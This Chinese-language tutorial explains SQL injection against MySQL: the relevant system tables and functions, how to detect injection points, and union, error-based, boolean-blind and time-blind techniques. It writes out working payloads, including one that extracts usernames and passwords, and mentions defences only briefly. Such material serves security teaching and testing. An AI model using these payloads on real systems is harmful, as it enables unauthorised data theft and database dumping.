SQL注入介绍
字数 1689 2025-08-15 21:31:27
SQL注入攻击全面指南
第一部分 MySQL基础知识
1.1 数据库与网站架构
为什么需要数据库
- 文件存储的局限性:当用户信息或数据量过大时(如超过几百条记录),文件存储方式在存取效率和管理上变得不实用
- 数据库的核心功能:解决大量数据的"管理问题",提供增删查改(CRUD)等高效操作
典型LAMP网站架构
- 静态资源:HTML/CSS/JS等前端内容,Web服务器可直接解析,无需数据库参与
- 动态资源:依赖后端脚本语言(PHP/ASP/JSP等)作为Web服务器与MySQL数据库之间的桥梁
- 数据重要性:企业核心数据存储在数据库中,成为SQL注入攻击的主要目标
1.2 SQL注入原理
基本概念
- 攻击方式:通过构造特殊输入参数,将恶意SQL语句插入到正常查询中
- 必要条件:
- 用户输入未经严格过滤
- 输入内容被直接拼接到SQL查询语句中
示例
正常查询:www.baidu.com/s?id=1
注入攻击:www.baidu.com/s?id=1' AND SELECT database()--
1.3 SQL注入危害
- 泄露敏感用户信息
- 获取管理员凭证,实现进一步渗透
- 高权限下可能直接提权
- 导致数据库被完全导出("脱库")
1.4 MySQL关键函数与表
常用信息查询函数
SELECT USER() -- 当前登录用户
SELECT SESSION_USER() -- 同上
SELECT DATABASE() -- 当前数据库名
SELECT @@VERSION -- MySQL版本
SELECT @@BASEDIR -- 安装路径
SELECT @@DATADIR -- 数据存储路径
SELECT @@VERSION_COMPILE_OS -- 操作系统信息
系统数据库
- information_schema:存储所有数据库的元数据(库/表/列信息)
- mysql:核心数据库,存储用户凭证和权限信息
- performance_schema:记录各种日志信息
- test:默认测试库
关键系统表
- SCHEMATA:存储所有数据库信息,关键字段
SCHEMA_NAME - TABLES:存储所有表信息,关键字段
TABLE_SCHEMA,TABLE_NAME - COLUMNS:存储所有列信息,关键字段
TABLE_SCHEMA,TABLE_NAME,COLUMN_NAME - USER_PRIVILEGES:用户权限信息
基本查询语句
SELECT DATABASE(); -- 当前库名
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE(); -- 当前库下表名
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='user'; -- 表列名
SELECT name,password FROM user; -- 获取用户凭证
MySQL注释方式
#(URL编码为%23)--(注意后面必须有空格)/*!内联注释*/:SELECT * /*!22222from*/ users;(数字小于当前版本时正常执行)
第二部分 SQL注入分类与技术
2.1 注入类型基础分类
按数据类型
- 整型注入:输入被当作数字处理
$sql = "SELECT * FROM table WHERE id=1" // 无引号包裹 - 字符型注入:输入被当作字符串处理
$sql = "SELECT * FROM table WHERE id='用户'" // 有引号包裹
注入检测方法
- 追加单引号:
id=1' - 追加斜杠:
id=1/ - 逻辑测试:
id=1 AND 1=1或id=1 AND 1=2 - 延时测试:
id=1 AND SLEEP(5)
2.2 联合查询注入(Union)
前提条件
- 页面必须有显示位(数据库查询结果在前端可见)
攻击步骤
- 判断注入类型(整型/字符型)
- 确定列数:
ORDER BY n(当n超过列数时返回错误) - 定位显示位
- 获取库名
- 获取表名
- 获取列名
- 提取数据
示例
?id=-1' UNION SELECT 1,GROUP_CONCAT(CONCAT_WS(0x23,username,password)),3 FROM users --+
2.3 报错注入(Error-based)
适用场景
- 无显示位但开启了错误提示
常用技术
- FLOOR函数:
SELECT COUNT(*),CONCAT((SELECT DATABASE()),FLOOR(RAND(0)*2)) AS x FROM user GROUP BY x; - EXTRACTVALUE函数:
?id=1 AND EXTRACTVALUE(1, CONCAT(0x7e,(SELECT @@VERSION),0x7e)) - UPDATEXML函数:
?id=1 AND UPDATEXML(1, (CONCAT(0x7e,(SELECT @@VERSION),0x7e)),1)
2.4 布尔盲注(Boolean-based)
适用场景
- 无显示位且无错误回显
关键函数
LENGTH():判断结果长度SELECT * FROM user WHERE id=1 AND LENGTH(USER())>10;SUBSTR():截取字符串?id=1 AND SUBSTR((SELECT USER()), 1, 1)='r'ASCII():字符编码转换?id=1 AND ASCII(SUBSTR((SELECT USER()), 1, 1))>114EXISTS():判断结果是否存在
2.5 时间盲注(Time-based)
适用场景
- 布尔盲注不可行时
关键技术
使用IF()结合SLEEP():
?id=3' AND IF(ASCII(SUBSTR((SELECT DATABASE()), 1, 1))=114, SLEEP(5), 1) --+
攻击步骤
- 判断数据库长度:
IF(LENGTH(DATABASE())>10, SLEEP(5), 1) - 逐字符判断:
IF(ASCII(SUBSTR((SELECT DISTINCT TABLE_SCHEMA FROM INFORMATION_SCHEMA.TABLES LIMIT 0, 1), 1, 1))=105,SLEEP(5), 1)
关键总结
- 注入检测:通过特殊字符和逻辑测试判断是否存在漏洞
- 信息收集:利用系统表和函数获取数据库结构信息
- 技术选择:根据回显情况选择联合查询、报错、布尔或时间盲注
- 防御要点:参数化查询、输入过滤、最小权限原则、关闭错误回显
本指南详细介绍了SQL注入的各种技术和方法,从基础原理到高级利用技术,涵盖了安全测试人员需要了解的所有关键知识点。